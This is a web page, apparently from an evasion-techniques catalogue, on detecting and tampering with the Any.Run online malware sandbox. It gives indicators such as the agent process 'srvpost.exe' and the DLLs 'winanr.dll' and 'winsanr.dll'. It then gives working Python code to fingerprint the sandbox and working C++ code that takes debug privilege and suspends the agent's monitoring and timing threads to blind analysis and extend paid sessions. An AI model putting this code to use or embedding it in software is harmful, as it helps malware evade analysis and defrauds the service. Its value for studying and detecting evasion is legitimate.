
Detecting Online Sandbox
Online sandbox has become very popular for malware analysis. Several malware authors employ such techniques to avoid detection and analysis. Some of these techniques will be summarized here.
-
Any.Run uses a fake root certificate to spy on sandbox traffic. The first information about the system can be obtained by querying the information of the root certificate. In addition, the QEMU Agent is modified and used to monitor the applications running in the virtual machine allowing the sandbox to do API hooking and monitor the analyzed process. If a process name such as “srvpost.exe” is running and the “winanr.dll”, “winsanr.dll” libraries are loaded, it is possible to detect the Any.Run agent.
-
Any.Run offers many packages to their users. And in addition to the features they are offering in these packages, they also determine the maximum number of minutes for active analysis. For example, you can analyze a file for 5 minutes by default with the Searcher package, that you pay 90 dollars to acquire, and you can make this time a maximum of 10 minutes by adding time in interactive mode. The sechost.dll in the agent contains and transmits the timing metrics of ANY.RUN. When we suspend this thread, Any.Run stops its counter and the analysis continues until it drops to timeout.
Code Snippets
Description
This snippet detects if the process is running in the online sandbox app.any.run.
import subprocess
def executer(args):
proc = subprocess.Popen(args,stdout=subprocess.PIPE)
return str(proc.communicate()[0])
cert = executer(["powershell.exe", "-Command","Get-ChildItem","-Recurse","Cert:CurrentUser\My"])
proc = executer(["powershell.exe","Get-Process"])
dlls = executer(["listdlls.exe","srvpost.exe","/accepteula"])
SUSDLLS = ("winanr.dll", "winsanr.dll")
if any(dll in dlls for dll in SUSDLLS): print("Any.Run Monitoring Agent Found")
if "Some Company" in cert or "srvpost" in proc:
print("ANY.RUN DETECTED")
else:
print("NOT ANY.RUN")
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#define DEBUG_MODE 1
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define ThreadQuerySetWin32StartAddress 9
typedef NTSTATUS(WINAPI* NTQUERYINFOMATIONTHREAD)(HANDLE, LONG, PVOID, ULONG, PULONG);
struct args {
HANDLE hThread;
};
DWORD_PTR WINAPI GetThreadStartAddress(HANDLE hThread)
{
NTSTATUS ntStatus;
DWORD_PTR dwThreadStartAddr;
NTQUERYINFOMATIONTHREAD NtQueryInformationThread;
NtQueryInformationThread = (NTQUERYINFOMATIONTHREAD)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationThread");
ntStatus = NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, &dwThreadStartAddr, sizeof(DWORD_PTR), NULL);
if (ntStatus != STATUS_SUCCESS) {
return 0;
}
return dwThreadStartAddr;
}
DWORD_PTR * GetModuleInfo(DWORD pid, const wchar_t *target) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
DWORD_PTR moduleinfo[2];
if (hSnap != INVALID_HANDLE_VALUE)
{
MODULEENTRY32 modEntry;
modEntry.dwSize = sizeof(modEntry);
if (Module32First(hSnap, &modEntry))
{
do
{
if (!_wcsicmp(modEntry.szModule, target)) {
moduleinfo[0] = (DWORD_PTR)modEntry.modBaseAddr;
moduleinfo[1] = modEntry.modBaseSize;
return moduleinfo;
}
//std::wcout << "Name: " << modEntry.szModule << "\t Addr: " << modEntry.modBaseAddr << "\n";
} while (Module32Next(hSnap, &modEntry));
}
}
return 0;
}
BOOL isTarget(HANDLE tHandle, DWORD pid, const wchar_t *target) {
DWORD_PTR ThreadStartAddr = GetThreadStartAddress(tHandle);
if (!ThreadStartAddr) {
std::cout << "Get start address of thread failed!\n";
ExitProcess(1);
}
DWORD_PTR* retmoduleinfo = GetModuleInfo(pid, target);
DWORD_PTR ModuleStart = retmoduleinfo[0];
DWORD_PTR ModuleEnd = retmoduleinfo[0] + retmoduleinfo[1];
// Only shows debug mode on (1)
if (DEBUG_MODE) {
printf("THREAD START ADDR: %012X\n", ThreadStartAddr);
printf("MODULE START ADDR: %012X\n", retmoduleinfo[0]);
printf("MODULE END ADDR: %012X\n", retmoduleinfo[0] + retmoduleinfo[1]);
}
if (ThreadStartAddr >= ModuleStart && ThreadStartAddr <= ModuleEnd) { // Is thread start address between ModuleStart and ModuleEnd?
return TRUE;
}
else {
return FALSE;
}
}
void CrackAnyRun(LPVOID inargs) {
args *funcargs = (args*)inargs;
HANDLE tHandle = funcargs->hThread;
while (1){
SuspendThread(tHandle);
std::cout << "Thread suspended\n";
Sleep(24000);
ResumeThread(tHandle);
std::cout << "Thread resumed\n";
Sleep(1000);
}
}
int main()
{
HANDLE tHandle, pHandle = 0, hToken;
DWORD tid, pid = 0;
LUID luid = { 0 };
BOOL privRet = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
std::cout << "OpenProcessToken success!\n";
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
TOKEN_PRIVILEGES tokenPriv = { 0 };
tokenPriv.PrivilegeCount = 1;
tokenPriv.Privileges[0].Luid = luid;
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
privRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
}
}
else {
std::cout << "OpenProcessToken failed! Error: " << GetLastError() << "\n";
ExitProcess(1);
}
if (!privRet) {
std::cout << "Adjust privilege failed!\n";
ExitProcess(1);
}
// Find PID by name
PROCESSENTRY32 pe;
HANDLE hps = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hps != INVALID_HANDLE_VALUE) {
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hps, &pe)) {
do {
if (!_wcsicmp(pe.szExeFile, L"srvpost.exe")) {
pid = pe.th32ProcessID;
}
} while (Process32Next(hps, &pe));
}
}
else {
std::cout << "Process snapshot cannot taken!\n";
ExitProcess(1);
}
if (pid == 0) {
std::cout << "Process not found!\n";
ExitProcess(1);
}
// Retrieve threads in process
HANDLE hth = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hth != INVALID_HANDLE_VALUE) {
THREADENTRY32 te;
te.dwSize = sizeof(te);
if (Thread32First(hth, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
tHandle = OpenThread(THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION, FALSE, te.th32ThreadID);
if (tHandle != INVALID_HANDLE_VALUE) {
if (isTarget(tHandle, pid, L"winsanr.dll")) {
SuspendThread(tHandle);
// Only shows debug mode on (1)
if (DEBUG_MODE) {
std::cout << "THREADID: " << te.th32ThreadID << "\n";
}
}
// Crack any.run :D
if (isTarget(tHandle, pid, L"sechost.dll")) {
HANDLE dupHandle;
if (DuplicateHandle(GetCurrentProcess(), tHandle, GetCurrentProcess(), &dupHandle, THREAD_SUSPEND_RESUME, FALSE, 0)) {
args thargs;
thargs.hThread = dupHandle;
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CrackAnyRun, &thargs, 0, NULL);
CloseHandle(tHandle);
continue;
}
}
else {
continue;
}
CloseHandle(tHandle);
}
}
} while (Thread32Next(hth, &te));
}
}
else {
std::cout << "Thread snapshot cannot taken!\n";
ExitProcess(1);
}
while (1); // for second thread
}